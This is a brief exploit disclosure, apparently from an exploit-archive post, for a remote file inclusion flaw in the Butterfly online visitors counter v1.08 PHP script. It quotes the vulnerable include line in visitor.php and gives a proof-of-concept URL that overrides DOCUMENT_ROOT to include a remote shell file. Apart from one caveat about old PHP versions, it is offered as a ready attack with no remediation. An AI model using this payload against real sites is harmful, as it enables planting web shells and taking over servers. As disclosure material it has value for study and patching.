Butterfly online vistors counter 1.08 RFI

App Name : Butterfly online vistors counter v.1.08
HomePage : http://www.phoenix.frihost.net/butterfly/read_me.php
Vuln type : Remote File Include (RFI)
Vulnerability Discovered by : iNs

Vuln Code:
visitor.php

include_once $_SERVER["DOCUMENT_ROOT"] . "/butterfly/custom.php"; //
include settings

POC:
htttp://site.com/[path]/visitor.php?_SERVER[DOCUMENT_ROOT]=SHELL.txt??

Note:
This is sploitable only on old version of PHP.

iNs @ uNkn0wn.eu

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